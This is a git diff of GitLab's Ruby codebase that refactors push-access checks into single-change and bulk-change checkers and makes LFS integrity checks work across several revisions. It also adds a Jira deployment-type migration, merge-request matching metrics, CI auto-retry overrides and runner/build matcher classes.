diff --git a/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb b/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb
new file mode 100644
index 00000000000..bba1ca26b35
--- /dev/null
+++ b/lib/gitlab/background_migration/update_jira_tracker_data_deployment_type_based_on_url.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+# rubocop: disable Style/Documentation
+class Gitlab::BackgroundMigration::UpdateJiraTrackerDataDeploymentTypeBasedOnUrl
+ # rubocop: disable Gitlab/NamespacedClass
+ class JiraTrackerData < ActiveRecord::Base
+ self.table_name = "jira_tracker_data"
+ self.inheritance_column = :_type_disabled
+
+ include ::Integrations::BaseDataFields
+ attr_encrypted :url, encryption_options
+ attr_encrypted :api_url, encryption_options
+
+ enum deployment_type: { unknown: 0, server: 1, cloud: 2 }, _prefix: :deployment
+ end
+ # rubocop: enable Gitlab/NamespacedClass
+
+ # https://rubular.com/r/uwgK7k9KH23efa
+ JIRA_CLOUD_REGEX = %r{^https?://[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?\.atlassian\.net$}ix.freeze
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def perform(start_id, end_id)
+ trackers_data = JiraTrackerData
+ .where(deployment_type: 'unknown')
+ .where(id: start_id..end_id)
+
+ cloud, server = trackers_data.partition { |tracker_data| tracker_data.url.match?(JIRA_CLOUD_REGEX) }
+
+ cloud_mappings = cloud.each_with_object({}) do |tracker_data, hash|
+ hash[tracker_data] = { deployment_type: 2 }
+ end
+
+ server_mapppings = server.each_with_object({}) do |tracker_data, hash|
+ hash[tracker_data] = { deployment_type: 1 }
+ end
+
+ mappings = cloud_mappings.merge(server_mapppings)
+
+ ::Gitlab::Database::BulkUpdate.execute(%i[deployment_type], mappings)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+end
diff --git a/lib/gitlab/cache.rb b/lib/gitlab/cache.rb
index 90a0c38ff7b..433614a3007 100644
--- a/lib/gitlab/cache.rb
+++ b/lib/gitlab/cache.rb
@@ -13,6 +13,13 @@ module Gitlab
end
end
end
+
+ # Hook for EE
+ def delete(key)
+ Rails.cache.delete(key)
+ end
end
end
end
+
+Gitlab::Cache.prepend_mod
diff --git a/lib/gitlab/cache/import/caching.rb b/lib/gitlab/cache/import/caching.rb
index ec94991157a..86441973941 100644
--- a/lib/gitlab/cache/import/caching.rb
+++ b/lib/gitlab/cache/import/caching.rb
@@ -113,6 +113,17 @@ module Gitlab
end
end
+ # Returns the values of the given set.
+ #
+ # raw_key - The key of the set to check.
+ def self.values_from_set(raw_key)
+ key = cache_key_for(raw_key)
+
+ Redis::Cache.with do |redis|
+ redis.smembers(key)
+ end
+ end
+
# Sets multiple keys to given values.
#
# mapping - A Hash mapping the cache keys to their values.
diff --git a/lib/gitlab/checks/base_bulk_checker.rb b/lib/gitlab/checks/base_bulk_checker.rb
new file mode 100644
index 00000000000..46a68fdf485
--- /dev/null
+++ b/lib/gitlab/checks/base_bulk_checker.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Checks
+ class BaseBulkChecker < BaseChecker
+ attr_reader :changes_access
+ delegate(*ChangesAccess::ATTRIBUTES, to: :changes_access)
+
+ def initialize(changes_access)
+ @changes_access = changes_access
+ end
+
+ def validate!
+ raise NotImplementedError
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/checks/base_checker.rb b/lib/gitlab/checks/base_checker.rb
index 68873610408..2b0af7dc4f6 100644
--- a/lib/gitlab/checks/base_checker.rb
+++ b/lib/gitlab/checks/base_checker.rb
@@ -5,39 +5,16 @@ module Gitlab
class BaseChecker
include Gitlab::Utils::StrongMemoize
- attr_reader :change_access
- delegate(*ChangeAccess::ATTRIBUTES, to: :change_access)
-
- def initialize(change_access)
- @change_access = change_access
- end
-
def validate!
raise NotImplementedError
end
private
- def creation?
- Gitlab::Git.blank_ref?(oldrev)
- end
-
- def deletion?
- Gitlab::Git.blank_ref?(newrev)
- end
-
- def update?
- !creation? && !deletion?
- end
-
def updated_from_web?
protocol == 'web'
end
- def tag_exists?
- project.repository.tag_exists?(tag_name)
- end
-
def validate_once(resource)
Gitlab::SafeRequestStore.fetch(cache_key_for_resource(resource)) do
yield(resource)
diff --git a/lib/gitlab/checks/base_single_checker.rb b/lib/gitlab/checks/base_single_checker.rb
new file mode 100644
index 00000000000..f93902055c9
--- /dev/null
+++ b/lib/gitlab/checks/base_single_checker.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Checks
+ class BaseSingleChecker < BaseChecker
+ attr_reader :change_access
+ delegate(*SingleChangeAccess::ATTRIBUTES, to: :change_access)
+
+ def initialize(change_access)
+ @change_access = change_access
+ end
+
+ private
+
+ def creation?
+ Gitlab::Git.blank_ref?(oldrev)
+ end
+
+ def deletion?
+ Gitlab::Git.blank_ref?(newrev)
+ end
+
+ def update?
+ !creation? && !deletion?
+ end
+
+ def tag_exists?
+ project.repository.tag_exists?(tag_name)
+ end
+ end
+ end
+end
+
+Gitlab::Checks::BaseSingleChecker.prepend_mod_with('Gitlab::Checks::BaseSingleChecker')
diff --git a/lib/gitlab/checks/branch_check.rb b/lib/gitlab/checks/branch_check.rb
index a8287a97cc3..a2d74d36b58 100644
--- a/lib/gitlab/checks/branch_check.rb
+++ b/lib/gitlab/checks/branch_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class BranchCheck < BaseChecker
+ class BranchCheck < BaseSingleChecker
ERROR_MESSAGES = {
delete_default_branch: 'The default branch of a project cannot be deleted.',
force_push_protected_branch: 'You are not allowed to force push code to a protected branch on this project.',
diff --git a/lib/gitlab/checks/change_access.rb b/lib/gitlab/checks/change_access.rb
deleted file mode 100644
index a2c3de3e775..00000000000
--- a/lib/gitlab/checks/change_access.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Checks
- class ChangeAccess
- ATTRIBUTES = %i[user_access project skip_authorization
- skip_lfs_integrity_check protocol oldrev newrev ref
- branch_name tag_name logger commits].freeze
-
- attr_reader(*ATTRIBUTES)
-
- def initialize(
- change, user_access:, project:,
- skip_lfs_integrity_check: false, protocol:, logger:
- )
- @oldrev, @newrev, @ref = change.values_at(:oldrev, :newrev, :ref)
- @branch_name = Gitlab::Git.branch_name(@ref)
- @tag_name = Gitlab::Git.tag_name(@ref)
- @user_access = user_access
- @project = project
- @skip_lfs_integrity_check = skip_lfs_integrity_check
- @protocol = protocol
-
- @logger = logger
- @logger.append_message("Running checks for ref: #{@branch_name || @tag_name}")
- end
-
- def validate!
- ref_level_checks
- # Check of commits should happen as the last step
- # given they're expensive in terms of performance
- commits_check
-
- true
- end
-
- def commits
- @commits ||= project.repository.new_commits(newrev)
- end
-
- protected
-
- def ref_level_checks
- Gitlab::Checks::PushCheck.new(self).validate!
- Gitlab::Checks::BranchCheck.new(self).validate!
- Gitlab::Checks::TagCheck.new(self).validate!
- Gitlab::Checks::LfsCheck.new(self).validate!
- end
-
- def commits_check
- Gitlab::Checks::DiffCheck.new(self).validate!
- end
- end
- end
-end
-
-Gitlab::Checks::ChangeAccess.prepend_mod_with('Gitlab::Checks::ChangeAccess')
diff --git a/lib/gitlab/checks/changes_access.rb b/lib/gitlab/checks/changes_access.rb
new file mode 100644
index 00000000000..4e8b293a3e6
--- /dev/null
+++ b/lib/gitlab/checks/changes_access.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Checks
+ class ChangesAccess
+ ATTRIBUTES = %i[user_access project protocol changes logger].freeze
+
+ attr_reader(*ATTRIBUTES)
+
+ def initialize(
+ changes, user_access:, project:, protocol:, logger:
+ )
+ @changes = changes
+ @user_access = user_access
+ @project = project
+ @protocol = protocol
+ @logger = logger
+ end
+
+ def validate!
+ return if changes.empty?
+
+ single_access_checks!
+
+ logger.log_timed("Running checks for #{changes.length} changes") do
+ bulk_access_checks!
+ end
+
+ true
+ end
+
+ protected
+
+ def single_access_checks!
+ # Iterate over all changes to find if user allowed all of them to be applied
+ changes.each do |change|
+ # If user does not have access to make at least one change, cancel all
+ # push by allowing the exception to bubble up
+ Checks::SingleChangeAccess.new(
+ change,
+ user_access: user_access,
+ project: project,
+ protocol: protocol,
+ logger: logger
+ ).validate!
+ end
+ end
+
+ def bulk_access_checks!
+ Gitlab::Checks::LfsCheck.new(self).validate!
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/checks/diff_check.rb b/lib/gitlab/checks/diff_check.rb
index a05181ab58e..d8f5cec8a4a 100644
--- a/lib/gitlab/checks/diff_check.rb
+++ b/lib/gitlab/checks/diff_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class DiffCheck < BaseChecker
+ class DiffCheck < BaseSingleChecker
include Gitlab::Utils::StrongMemoize
LOG_MESSAGES = {
diff --git a/lib/gitlab/checks/lfs_check.rb b/lib/gitlab/checks/lfs_check.rb
index 38f0b82c8b4..51013b69755 100644
--- a/lib/gitlab/checks/lfs_check.rb
+++ b/lib/gitlab/checks/lfs_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class LfsCheck < BaseChecker
+ class LfsCheck < BaseBulkChecker
LOG_MESSAGE = 'Scanning repository for blobs stored in LFS and verifying their files have been uploaded to GitLab...'
ERROR_MESSAGE = 'LFS objects are missing. Ensure LFS is properly set up or try a manual "git lfs push --all".'
@@ -12,11 +12,10 @@ module Gitlab
return unless Feature.enabled?(:lfs_check, default_enabled: true)
return unless project.lfs_enabled?
- return if skip_lfs_integrity_check
- return if deletion?
logger.log_timed(LOG_MESSAGE) do
- lfs_check = Checks::LfsIntegrity.new(project, newrev, logger.time_left)
+ newrevs = changes.map { |change| change[:newrev] }
+ lfs_check = Checks::LfsIntegrity.new(project, newrevs, logger.time_left)
if lfs_check.objects_missing?
raise GitAccess::ForbiddenError, ERROR_MESSAGE
diff --git a/lib/gitlab/checks/lfs_integrity.rb b/lib/gitlab/checks/lfs_integrity.rb
index 78952db7a3e..845fb2da925 100644
--- a/lib/gitlab/checks/lfs_integrity.rb
+++ b/lib/gitlab/checks/lfs_integrity.rb
@@ -3,16 +3,19 @@
module Gitlab
module Checks
class LfsIntegrity
- def initialize(project, newrev, time_left)
+ def initialize(project, newrevs, time_left)
@project = project
- @newrev = newrev
+ @newrevs = newrevs
@time_left = time_left
end
def objects_missing?
- return false unless @newrev && @project.lfs_enabled?
+ return false unless @project.lfs_enabled?
- new_lfs_pointers = Gitlab::Git::LfsChanges.new(@project.repository, @newrev)
+ newrevs = @newrevs.reject { |rev| rev.blank? || Gitlab::Git.blank_ref?(rev) }
+ return if newrevs.blank?
+
+ new_lfs_pointers = Gitlab::Git::LfsChanges.new(@project.repository, newrevs)
.new_pointers(object_limit: ::Gitlab::Git::Repository::REV_LIST_COMMIT_LIMIT, dynamic_timeout: @time_left)
return false unless new_lfs_pointers.present?
diff --git a/lib/gitlab/checks/matching_merge_request.rb b/lib/gitlab/checks/matching_merge_request.rb
index 2635ad04770..e37cbc0442b 100644
--- a/lib/gitlab/checks/matching_merge_request.rb
+++ b/lib/gitlab/checks/matching_merge_request.rb
@@ -3,22 +3,74 @@
module Gitlab
module Checks
class MatchingMergeRequest
+ TOTAL_METRIC = :gitlab_merge_request_match_total
+ STALE_METRIC = :gitlab_merge_request_match_stale_secondary
+
def initialize(newrev, branch_name, project)
@newrev = newrev
@branch_name = branch_name
@project = project
end
- # rubocop: disable CodeReuse/ActiveRecord
def match?
+ if ::Gitlab::Database::LoadBalancing.enable?
+ # When a user merges a merge request, the following sequence happens:
+ #
+ # 1. Sidekiq: MergeService runs and updates the merge request in a locked state.
+ # 2. Gitaly: The UserMergeBranch RPC runs.
+ # 3. Gitaly (gitaly-ruby): This RPC calls the pre-receive hook.
+ # 4. Rails: This hook makes an API request to /api/v4/internal/allowed.
+ # 5. Rails: This API check does a SQL query for locked merge
+ # requests with a matching SHA.
+ #
+ # Since steps 1 and 5 will happen on different database
+ # sessions, replication lag could erroneously cause step 5 to
+ # report no matching merge requests. To avoid this, we check
+ # the write location to ensure the replica can make this query.
+ track_session_metrics do
+ ::Gitlab::Database::LoadBalancing::Sticking.select_valid_host(:project, @project.id)
+ end
+ end
+
+ # rubocop: disable CodeReuse/ActiveRecord
@project.merge_requests
.with_state(:locked)
.where(in_progress_merge_commit_sha: @newrev, target_branch: @branch_name)
.exists?
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+
+ private
+
+ def track_session_metrics
+ before = ::Gitlab::Database::LoadBalancing::Session.current.use_primary?
+
+ yield
+
+ after = ::Gitlab::Database::LoadBalancing::Session.current.use_primary?
+
+ increment_attempt_count
+
+ if !before && after
+ increment_stale_secondary_count
+ end
+ end
+
+ def increment_attempt_count
+ total_counter.increment
+ end
+
+ def increment_stale_secondary_count
+ stale_counter.increment
+ end
+
+ def total_counter
+ @total_counter ||= ::Gitlab::Metrics.counter(TOTAL_METRIC, 'Total number of merge request match attempts')
+ end
+
+ def stale_counter
+ @stale_counter ||= ::Gitlab::Metrics.counter(STALE_METRIC, 'Total number of merge request match attempts with lagging secondary')
end
- # rubocop: enable CodeReuse/ActiveRecord
end
end
end
-
-Gitlab::Checks::MatchingMergeRequest.prepend_mod_with('Gitlab::Checks::MatchingMergeRequest')
diff --git a/lib/gitlab/checks/push_check.rb b/lib/gitlab/checks/push_check.rb
index 47aa25aae4c..50002e00a77 100644
--- a/lib/gitlab/checks/push_check.rb
+++ b/lib/gitlab/checks/push_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class PushCheck < BaseChecker
+ class PushCheck < BaseSingleChecker
def validate!
logger.log_timed("Checking if you are allowed to push...") do
unless can_push?
diff --git a/lib/gitlab/checks/push_file_count_check.rb b/lib/gitlab/checks/push_file_count_check.rb
index 288a7e0d41a..707d4cfbcbe 100644
--- a/lib/gitlab/checks/push_file_count_check.rb
+++ b/lib/gitlab/checks/push_file_count_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class PushFileCountCheck < BaseChecker
+ class PushFileCountCheck < BaseSingleChecker
attr_reader :repository, :newrev, :limit, :logger
LOG_MESSAGES = {
diff --git a/lib/gitlab/checks/single_change_access.rb b/lib/gitlab/checks/single_change_access.rb
new file mode 100644
index 00000000000..280b2dd25e2
--- /dev/null
+++ b/lib/gitlab/checks/single_change_access.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Checks
+ class SingleChangeAccess
+ ATTRIBUTES = %i[user_access project skip_authorization
+ protocol oldrev newrev ref
+ branch_name tag_name logger commits].freeze
+
+ attr_reader(*ATTRIBUTES)
+
+ def initialize(
+ change, user_access:, project:,
+ protocol:, logger:
+ )
+ @oldrev, @newrev, @ref = change.values_at(:oldrev, :newrev, :ref)
+ @branch_name = Gitlab::Git.branch_name(@ref)
+ @tag_name = Gitlab::Git.tag_name(@ref)
+ @user_access = user_access
+ @project = project
+ @protocol = protocol
+
+ @logger = logger
+ @logger.append_message("Running checks for ref: #{@branch_name || @tag_name}")
+ end
+
+ def validate!
+ ref_level_checks
+ # Check of commits should happen as the last step
+ # given they're expensive in terms of performance
+ commits_check
+
+ true
+ end
+
+ def commits
+ @commits ||= project.repository.new_commits(newrev)
+ end
+
+ protected
+
+ def ref_level_checks
+ Gitlab::Checks::PushCheck.new(self).validate!
+ Gitlab::Checks::BranchCheck.new(self).validate!
+ Gitlab::Checks::TagCheck.new(self).validate!
+ end
+
+ def commits_check
+ Gitlab::Checks::DiffCheck.new(self).validate!
+ end
+ end
+ end
+end
+
+Gitlab::Checks::SingleChangeAccess.prepend_mod_with('Gitlab::Checks::SingleChangeAccess')
diff --git a/lib/gitlab/checks/snippet_check.rb b/lib/gitlab/checks/snippet_check.rb
index d5efbfcc5bc..43168600ec9 100644
--- a/lib/gitlab/checks/snippet_check.rb
+++ b/lib/gitlab/checks/snippet_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class SnippetCheck < BaseChecker
+ class SnippetCheck < BaseSingleChecker
ERROR_MESSAGES = {
create_delete_branch: 'You can not create or delete branches.'
}.freeze
diff --git a/lib/gitlab/checks/tag_check.rb b/lib/gitlab/checks/tag_check.rb
index a47e55cb160..a45db85301a 100644
--- a/lib/gitlab/checks/tag_check.rb
+++ b/lib/gitlab/checks/tag_check.rb
@@ -2,7 +2,7 @@
module Gitlab
module Checks
- class TagCheck < BaseChecker
+ class TagCheck < BaseSingleChecker
ERROR_MESSAGES = {
change_existing_tags: 'You are not allowed to change existing tags on this project.',
update_protected_tag: 'Protected tags cannot be updated.',
diff --git a/lib/gitlab/ci/ansi2json/line.rb b/lib/gitlab/ci/ansi2json/line.rb
index b1dee0e1ecc..466706384c0 100644
--- a/lib/gitlab/ci/ansi2json/line.rb
+++ b/lib/gitlab/ci/ansi2json/line.rb
@@ -77,7 +77,7 @@ module Gitlab
end
def set_section_duration(duration)
- @section_duration = Time.at(duration.to_i).strftime('%M:%S')
+ @section_duration = Time.at(duration.to_i).utc.strftime('%M:%S')
end
def flush_current_segment!
diff --git a/lib/gitlab/ci/badge/coverage/template.rb b/lib/gitlab/ci/badge/coverage/template.rb
index 7589fa5ff8b..96702420e9d 100644
--- a/lib/gitlab/ci/badge/coverage/template.rb
+++ b/lib/gitlab/ci/badge/coverage/template.rb
@@ -24,26 +24,10 @@ module Gitlab::Ci
@key_width = badge.customization.dig(:key_width)
end
- def key_text
- if @key_text && @key_text.size <= MAX_KEY_TEXT_SIZE
- @key_text
- else
- @entity.to_s
- end
- end
-
def value_text
@status ? ("%.2f%%" % @status) : 'unknown'
end
- def key_width
- if @key_width && @key_width.between?(1, MAX_KEY_WIDTH)
- @key_width
- else
- 62
- end
- end
-
def value_width
@status ? 54 : 58
end
diff --git a/lib/gitlab/ci/badge/pipeline/template.rb b/lib/gitlab/ci/badge/pipeline/template.rb
index 8430b01fc9a..c39f96e4a34 100644
--- a/lib/gitlab/ci/badge/pipeline/template.rb
+++ b/lib/gitlab/ci/badge/pipeline/template.rb
@@ -28,26 +28,10 @@ module Gitlab::Ci
@key_width = badge.customization.dig(:key_width)
end
- def key_text
- if @key_text && @key_text.size <= MAX_KEY_TEXT_SIZE
- @key_text
- else
- @entity.to_s
- end
- end
-
def value_text
STATUS_RENAME[@status.to_s] || @status.to_s
end
- def key_width
- if @key_width && @key_width.between?(1, MAX_KEY_WIDTH)
- @key_width
- else
- 62
- end
- end
-
def value_width
54
end
diff --git a/lib/gitlab/ci/badge/template.rb b/lib/gitlab/ci/badge/template.rb
index 0580dad72ba..d514a8577bd 100644
--- a/lib/gitlab/ci/badge/template.rb
+++ b/lib/gitlab/ci/badge/template.rb
@@ -8,6 +8,7 @@ module Gitlab::Ci
class Template
MAX_KEY_TEXT_SIZE = 64
MAX_KEY_WIDTH = 512
+ DEFAULT_KEY_WIDTH = 62
def initialize(badge)
@entity = badge.entity
@@ -15,7 +16,11 @@ module Gitlab::Ci
end
def key_text
- raise NotImplementedError
+ if @key_text && @key_text.size <= MAX_KEY_TEXT_SIZE
+ @key_text
+ else
+ @entity.to_s
+ end
end
def value_text
@@ -23,7 +28,11 @@ module Gitlab::Ci
end
def key_width
- raise NotImplementedError
+ if @key_width && @key_width.between?(1, MAX_KEY_WIDTH)
+ @key_width
+ else
+ DEFAULT_KEY_WIDTH
+ end
end
def value_width
diff --git a/lib/gitlab/ci/build/auto_retry.rb b/lib/gitlab/ci/build/auto_retry.rb
index e6ef12975c2..b98d1d7b330 100644
--- a/lib/gitlab/ci/build/auto_retry.rb
+++ b/lib/gitlab/ci/build/auto_retry.rb
@@ -7,6 +7,11 @@ class Gitlab::Ci::Build::AutoRetry
scheduler_failure: 2
}.freeze
+ RETRY_OVERRIDES = {
+ ci_quota_exceeded: 0,
+ no_matching_runner: 0
+ }.freeze
+
def initialize(build)
@build = build
end
@@ -19,13 +24,18 @@ class Gitlab::Ci::Build::AutoRetry
private
+ delegate :failure_reason, to: :@build
+
def within_max_retry_limit?
max_allowed_retries > 0 && max_allowed_retries > @build.retries_count
end
def max_allowed_retries
strong_memoize(:max_allowed_retries) do
- options_retry_max || DEFAULT_RETRIES.fetch(@build.failure_reason.to_sym, 0)
+ RETRY_OVERRIDES[failure_reason.to_sym] ||
+ options_retry_max ||
+ DEFAULT_RETRIES[failure_reason.to_sym] ||
+ 0
end
end
@@ -38,7 +48,7 @@ class Gitlab::Ci::Build::AutoRetry
end
def retry_on_reason_or_always?
- options_retry_when.include?(@build.failure_reason.to_s) ||
+ options_retry_when.include?(failure_reason.to_s) ||
options_retry_when.include?('always')
end
diff --git a/lib/gitlab/ci/config/entry/need.rb b/lib/gitlab/ci/config/entry/need.rb
index 29dc48c7b42..f1b67635c08 100644
--- a/lib/gitlab/ci/config/entry/need.rb
+++ b/lib/gitlab/ci/config/entry/need.rb
@@ -35,14 +35,9 @@ module Gitlab
end
def value
- if ::Feature.enabled?(:ci_needs_optional, default_enabled: :yaml)
- { name: @config,
- artifacts: true,
- optional: false }
- else
- { name: @config,
- artifacts: true }
- end
+ { name: @config,
+ artifacts: true,
+ optional: false }
end
end
@@ -66,14 +61,9 @@ module Gitlab
end
def value
- if ::Feature.enabled?(:ci_needs_optional, default_enabled: :yaml)
- { name: job,
- artifacts: artifacts || artifacts.nil?,
- optional: !!optional }
- else
- { name: job,
- artifacts: artifacts || artifacts.nil? }
- end
+ { name: job,
+ artifacts: artifacts || artifacts.nil?,
+ optional: !!optional }
end
end
diff --git a/lib/gitlab/ci/config/entry/processable.rb b/lib/gitlab/ci/config/entry/processable.rb
index 947b6787aa0..79dfb0eec1d 100644
--- a/lib/gitlab/ci/config/entry/processable.rb
+++ b/lib/gitlab/ci/config/entry/processable.rb
@@ -98,7 +98,6 @@ module Gitlab
def validate_against_warnings
# If rules are valid format and workflow rules are not specified
return unless rules_value
- return unless Gitlab::Ci::Features.raise_job_rules_without_workflow_rules_warning?
last_rule = rules_value.last
diff --git a/lib/gitlab/ci/config/entry/reports.rb b/lib/gitlab/ci/config/entry/reports.rb
index f2fd8ac7fd9..4db25fb0930 100644
--- a/lib/gitlab/ci/config/entry/reports.rb
+++ b/lib/gitlab/ci/config/entry/reports.rb
@@ -13,7 +13,7 @@ module Gitlab
ALLOWED_KEYS =
%i[junit codequality sast secret_detection dependency_scanning container_scanning
- dast performance browser_performance load_performance license_management license_scanning metrics lsif
+ dast performance browser_performance load_performance license_scanning metrics lsif
dotenv cobertura terraform accessibility cluster_applications
requirements coverage_fuzzing api_fuzzing].freeze
@@ -36,7 +36,6 @@ module Gitlab
validates :performance, array_of_strings_or_string: true
validates :browser_performance, array_of_strings_or_string: true
validates :load_performance, array_of_strings_or_string: true
- validates :license_management, array_of_strings_or_string: true
validates :license_scanning, array_of_strings_or_string: true
validates :metrics, array_of_strings_or_string: true
validates :lsif, array_of_strings_or_string: true
@@ -44,7 +43,7 @@ module Gitlab
validates :cobertura, array_of_strings_or_string: true
validates :terraform, array_of_strings_or_string: true
validates :accessibility, array_of_strings_or_string: true
- validates :cluster_applications, array_of_strings_or_string: true
+ validates :cluster_applications, array_of_strings_or_string: true # DEPRECATED: https://gitlab.com/gitlab-org/gitlab/-/issues/333441
validates :requirements, array_of_strings_or_string: true
end
end
diff --git a/lib/gitlab/ci/config/external/file/artifact.rb b/lib/gitlab/ci/config/external/file/artifact.rb
index a8f78b62d8d..e6ff33d6f79 100644
--- a/lib/gitlab/ci/config/external/file/artifact.rb
+++ b/lib/gitlab/ci/config/external/file/artifact.rb
@@ -28,11 +28,6 @@ module Gitlab
end
end
- def matching?
- super &&
- Feature.enabled?(:ci_dynamic_child_pipeline, project, default_enabled: true)
- end
-
private
def project
diff --git a/lib/gitlab/ci/config/external/file/template.rb b/lib/gitlab/ci/config/external/file/template.rb
index c4b4a7a0a73..47441fa3818 100644
--- a/lib/gitlab/ci/config/external/file/template.rb
+++ b/lib/gitlab/ci/config/external/file/template.rb
@@ -6,7 +6,7 @@ module Gitlab
module External
module File
class Template < Base
- attr_reader :location, :project
+ attr_reader :location
SUFFIX = '.gitlab-ci.yml'
@@ -41,7 +41,7 @@ module Gitlab
end
def fetch_template_content
- Gitlab::Template::GitlabCiYmlTemplate.find(template_name, project)&.content
+ Gitlab::Template::GitlabCiYmlTemplate.find(template_name, context.project)&.content
end
end
end
diff --git a/lib/gitlab/ci/cron_parser.rb b/lib/gitlab/ci/cron_parser.rb
index efd48a9b29f..bc03658aab8 100644
--- a/lib/gitlab/ci/cron_parser.rb
+++ b/lib/gitlab/ci/cron_parser.rb
@@ -6,6 +6,10 @@ module Gitlab
VALID_SYNTAX_SAMPLE_TIME_ZONE = 'UTC'
VALID_SYNTAX_SAMPLE_CRON = '* * * * *'
+ def self.parse_natural(expression, cron_timezone = 'UTC')
+ new(Fugit::Nat.parse(expression)&.original, cron_timezone)
+ end
+
def initialize(cron, cron_timezone = 'UTC')
@cron = cron
@cron_timezone = timezone_name(cron_timezone)
@@ -27,6 +31,10 @@ module Gitlab
try_parse_cron(VALID_SYNTAX_SAMPLE_CRON, @cron_timezone).present?
end
+ def match?(time)
+ cron_line.match?(time)
+ end
+
private
def timezone_name(timezone)
diff --git a/lib/gitlab/ci/features.rb b/lib/gitlab/ci/features.rb
index c8e4d9ed763..fe69a170404 100644
--- a/lib/gitlab/ci/features.rb
+++ b/lib/gitlab/ci/features.rb
@@ -18,14 +18,6 @@ module Gitlab
Feature.enabled?(:ci_pipeline_status_omit_commit_sha_in_cache_key, project, default_enabled: true)
end
- def self.merge_base_pipeline_for_metrics_comparison?(project)
- Feature.enabled?(:merge_base_pipeline_for_metrics_comparison, project, default_enabled: :yaml)
- end
-
- def self.raise_job_rules_without_workflow_rules_warning?
- ::Feature.enabled?(:ci_raise_job_rules_without_workflow_rules_warning, default_enabled: true)
- end
-
# NOTE: The feature flag `disallow_to_create_merge_request_pipelines_in_target_project`
# is a safe switch to disable the feature for a particular project when something went wrong,
# therefore it's not supposed to be enabled by default.
@@ -33,10 +25,6 @@ module Gitlab
::Feature.enabled?(:ci_disallow_to_create_merge_request_pipelines_in_target_project, target_project)
end
- def self.trace_overwrite?
- ::Feature.enabled?(:ci_trace_overwrite, type: :ops, default_enabled: false)
- end
-
def self.accept_trace?(project)
::Feature.enabled?(:ci_enable_live_trace, project) &&
::Feature.enabled?(:ci_accept_trace, project, type: :ops, default_enabled: true)
@@ -53,10 +41,6 @@ module Gitlab
def self.gldropdown_tags_enabled?
::Feature.enabled?(:gldropdown_tags, default_enabled: :yaml)
end
-
- def self.background_pipeline_retry_endpoint?(project)
- ::Feature.enabled?(:background_pipeline_retry_endpoint, project)
- end
end
end
end
diff --git a/lib/gitlab/ci/jwt.rb b/lib/gitlab/ci/jwt.rb
index 0b94debb24e..3fb86b8b3e8 100644
--- a/lib/gitlab/ci/jwt.rb
+++ b/lib/gitlab/ci/jwt.rb
@@ -54,6 +54,7 @@ module Gitlab
user_login: user&.username,
user_email: user&.email,
pipeline_id: build.pipeline.id.to_s,
+ pipeline_source: build.pipeline.source.to_s,
job_id: build.id.to_s,
ref: source_ref,
ref_type: ref_type,
diff --git a/lib/gitlab/ci/matching/build_matcher.rb b/lib/gitlab/ci/matching/build_matcher.rb
new file mode 100644
index 00000000000..dff7d9141d9
--- /dev/null
+++ b/lib/gitlab/ci/matching/build_matcher.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Matching
+ class BuildMatcher
+ ATTRIBUTES = %i[
+ protected
+ tag_list
+ build_ids
+ project
+ ].freeze
+
+ attr_reader(*ATTRIBUTES)
+ alias_method :protected?, :protected
+
+ def initialize(params)
+ ATTRIBUTES.each do |attribute|
+ instance_variable_set("@#{attribute}", params.fetch(attribute))
+ end
+ end
+
+ def has_tags?
+ tag_list.present?
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/matching/runner_matcher.rb b/lib/gitlab/ci/matching/runner_matcher.rb
new file mode 100644
index 00000000000..63642674936
--- /dev/null
+++ b/lib/gitlab/ci/matching/runner_matcher.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ module Matching
+ ###
+ # This class is used to check if a build can be picked by a runner:
+ #
+ # runner = Ci::Runner.find(id)
+ # build = Ci::Build.find(id)
+ # runner.runner_matcher.matches?(build.build_matcher)
+ #
+ # There are also class level methods to build matchers:
+ #
+ # `project.builds.build_matchers(project)` returns a distinct collection
+ # of build matchers.
+ # `Ci::Runner.runner_matchers` returns a distinct collection of runner matchers.
+ #
+ class RunnerMatcher
+ ATTRIBUTES = %i[
+ runner_type
+ public_projects_minutes_cost_factor
+ private_projects_minutes_cost_factor
+ run_untagged
+ access_level
+ tag_list
+ ].freeze
+
+ attr_reader(*ATTRIBUTES)
+
+ def initialize(params)
+ ATTRIBUTES.each do |attribute|
+ instance_variable_set("@#{attribute}", params.fetch(attribute))
+ end
+ end
+
+ def matches?(build_matcher)
+ ensure_build_matcher_instance!(build_matcher)
+ return false if ref_protected? && !build_matcher.protected?
+
+ accepting_tags?(build_matcher)
+ end
+
+ def instance_type?
+ runner_type.to_sym == :instance_type
+ end
+
+ private
+
+ def ref_protected?
+ access_level.to_sym == :ref_protected
+ end
+
+ def accepting_tags?(build_matcher)
+ (run_untagged || build_matcher.has_tags?) && (build_matcher.tag_list - tag_list).empty?
+ end
+
+ def ensure_build_matcher_instance!(build_matcher)
+ return if build_matcher.is_a?(Matching::BuildMatcher)
+
+ raise ArgumentError, 'only Gitlab::Ci::Matching::BuildMatcher are allowed'
+ end
+ end
+ end
+ end
+end
+
